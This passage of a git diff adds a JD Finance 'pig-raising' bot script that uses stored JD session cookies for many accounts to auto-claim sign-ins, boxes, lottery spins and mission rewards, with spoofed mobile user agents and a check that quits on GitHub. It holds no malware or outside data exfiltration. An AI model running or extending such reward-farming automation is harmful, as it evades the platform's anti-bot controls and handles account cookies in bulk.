s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_pigPet.js b/jd_pigPet.js new file mode 100644 index 0000000..696acf7 --- /dev/null +++ b/jd_pigPet.js @@ -0,0 +1,706 @@ +/* +Last Modified time: 2021-5-19 12:27:16 +活动入口:京东金融养猪猪 +一键开完所有的宝箱功能。耗时70秒 +大转盘抽奖 +喂食 +每日签到 +完成分享任务得猪粮 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#京东金融养猪猪 +12 0-23/6 * * * jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true + +================Loon============== +[Script] +cron "12 0-23/6 * * *" script-path=jd_pigPet.js, tag=京东金融养猪猪 + +===============Surge================= +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=jd_pigPet.js + +============小火箭========= +京东金融养猪猪 = type=cron,script-path=jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true + */ + +const $ = new Env('金融养猪'); +let cookiesArr = [], cookie = '', allMessage = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdPigPet(); + } + } + if (allMessage && new Date().getHours() % 6 === 0) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdPigPet() { + try { + await pigPetLogin(); + if (!$.hasPig) return + await pigPetSignIndex(); + await pigPetSign(); + await pigPetOpenBox(); + await pigPetLotteryIndex(); + await pigPetLottery(); + await pigPetMissionList(); + await missions(); + await pigPetUserBag(); + } catch (e) { + $.logErr(e) + } +} +async function pigPetLottery() { + if ($.currentCount > 0) { + for (let i = 0; i < $.currentCount; i ++) { + await pigPetLotteryPlay(); + } + } +} +async function pigPetSign() { + if (!$.sign) { + await pigPetSignOne(); + } else { + console.log(`第${$.no}天已签到\n`) + } +} +function pigPetSignOne() { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam": "{}", + "no": $.no + } + $.post(taskUrl('pigPetSignOne', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('签到结果',data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.sign = data.resultData.resultData.sign; + // $.no = data.resultData.resultData.today; + // } + // } else { + // console.log(`查询签到情况异常:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询背包食物 +function pigPetUserBag() { + return new Promise(async resolve => { + const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; + $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.goods) { + console.log(`\n食物名称 数量`); + for (let item of data.resultData.resultData.goods) { + console.log(`${item.goodsName} ${item.count}g`); + } + for (let item of data.resultData.resultData.goods) { + if (item.count >= 20) { + console.log(`10秒后开始喂食${item.goodsName},当前数量为${item.count}g`) + await $.wait(10000); + await pigPetAddFood(item.sku); + } + } + } else { + console.log(`暂无食物`) + } + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//喂食 +function pigPetAddFood(skuId) { + return new Promise(async resolve => { + console.log(`skuId::::${skuId}`) + const body = { + "source": 0, + "channelLV":"yqs", + "riskDeviceParam":"{}", + "skuId": skuId.toString(), + "category":"1001", + } + // const body = { + // "source": 2, + // "channelLV":"juheye", + // "riskDeviceParam":"{}", + // "skuId": skuId.toString(), + // } + $.post(taskUrl('pigPetAddFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`喂食结果:${data}`) + data = JSON.parse(data); + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetLogin() { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam":"{}", + } + $.post(taskUrl('pigPetLogin', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + $.hasPig = data.resultData.resultData.hasPig; + if (!$.hasPig) { + console.log(`\n京东账号${$.index} ${$.nickName} 未开启养猪活动,请手动去京东金融APP开启此活动\n`) + return + } + if (data.resultData.resultData.wished) { + if (data.resultData.resultData.wishAward) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${data.resultData.resultData.wishAward.name}已可兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } else { + console.log(`Login其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//开宝箱 +function pigPetOpenBox() { + return new Promise(async resolve => { + const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} + $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.award) { + console.log(`开宝箱获得${data.resultData.resultData.award.content},数量:${data.resultData.resultData.award.count}`); + + } else { + console.log(`开宝箱暂无奖励`) + } + await $.wait(2000); + await pigPetOpenBox(); + } else if (data.resultData.resultCode === 420) { + console.log(`开宝箱失败:${data.resultData.resultMsg}`) + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询大转盘的次数 +function pigPetLotteryIndex() { + $.currentCount = 0; + return new Promise(async resolve => { + const body = { + "source":0, + "channelLV":"juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + $.currentCount = data.resultData.resultData.currentCount; + } + } else { + console.log(`查询大转盘的次数:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询签到情况 +function pigPetSignIndex() { + $.sign = true; + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetSignIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.sign = data.resultData.resultData.sign; + $.no = data.resultData.resultData.today; + } + } else { + console.log(`查询签到情况异常:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function pigPetLotteryPlay() { + return new Promise(async resolve => { + const body = { + "source":0, + "channelLV":"juheye", + "riskDeviceParam":"{}", + "t":Date.now(), + "type":0, + } + $.post(taskUrl('pigPetLotteryPlay', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function missions() { + for (let item of $.missions) { + if (item.status === 4) { + console.log(`\n${item.missionName}任务已做完,开始领取奖励`) + await pigPetDoMission(item.mid); + } else if (item.status === 5){ + console.log(`\n${item.missionName}已领取`) + } else if (item.status === 3){ + console.log(`\n${item.missionName}未完成`) + if (item.mid === 'CPD01') { + await pigPetDoMission(item.mid); + } else { + //TODO + // await pigPetDoMission(item.mid); + // await queryMissionReceiveAfterStatus(item.mid); + // await finishReadMission(item.mid); + } + } + } +} +//领取做完任务的奖品 +function pigPetDoMission(mid) { + return new Promise(async resolve => { + const body = { + "source":0, + "channelLV":"", + "riskDeviceParam":"{}", + mid + } + $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('pigPetDoMission',data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`奖励${data.resultData.resultData.award.name},数量:${data.resultData.resultData.award.count}`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询任务列表 +function pigPetMissionList() { + return new Promise(async resolve => { + const body = { + "source":0, + "channelLV":"", + "riskDeviceParam":"{}", + } + $.post(taskUrl('pigPetMissionList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.missions = data.resultData.resultData.missions;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryMissionReceiveAfterStatus(missionId) { + return new Promise(resolve => { + const body = {"missionId": missionId.toString()}; + const options = { + "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522%7D`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('queryMissionReceiveAfterStatus',data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + // } + // } else { + // console.log(`其他情况:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做完浏览任务发送信息API +function finishReadMission(missionId) { + return new Promise(async resolve => { + const body = {"missionId": missionId.toString(),"readTime":10}; + const options = { + "url": `${MISSION_BASE_API}/finishReadMission?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522,%2522readTime%2522:10%7D`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('finishReadMission',data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + // } + // } else { + // console.log(`其他情况:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept' : `*/*`, + 'Origin' : `https://u.jr.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : cookie, + 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host' : `ms.jr.jd.com`, + 'Connection' : `keep-alive`, + // 'User-Agent' : `jdapp;iPhone;9.0.0;13.4.1;e35caf0a69be42084e3c97eef56c3af7b0262d01;network/4g;ADID/F75E8AED-CB48-4EAC-A213-E8CE4018F214;supportApplePay/3;hasUPPay/0;pushNoticeIsOpen/1;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/167237;supportBestPay/0;jdSupportDarkMode/0;pv/1287.19;apprpd/MyJD_GameMain;ref/https%3A%2F%2Fuua.jr.jd.com%2Fuc-fe-wxgrowing%2Fmoneytree%2Findex%2F%3Fchannel%3Dyxhd%26lng%3D113.325843%26lat%3D23.204628%26sid%3D2d98e88cf7d182f60d533476c2ce777w%26un_area%3D19_1601_50258_51885;psq/1;ads/;psn/e35caf0a69be42084e3c97eef56c3af7b0262d01|3485;jdv/0|kong|t_1000170135|tuiguang|notset|1593059927172|1593059927;adk/;app_device/IOS;pap/JA2015_311210|9.0.0|IOS 13.4.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'User-Agent' : `jdapp;android;8.5.12;9;network/wifi;model/GM1910;addressid/1302541636;aid/ac31e03386ddbec6;oaid/;osVer/28;appBuild/73078;adk/;ads/;pap/JA2015_311210|8.5.12|ANDROID 9;osv/9;pv/117.24;jdv/0|kong|t_1000217905_|jingfen|644e9b005c8542c1ac273da7763971d8|1589905791552|1589905794;ref/com.jingdong.app.mall.WebActivity;partner/oppo;apprpd/Home_Main;Mozilla/5.0 (Linux; Android 9; GM1910 Build/PKQ1.190110.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36 Edg/86.0.4240.111`, + 'Referer' : `https://u.jr.jd.com/`, + 'Accept-Language' : `zh-cn` + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 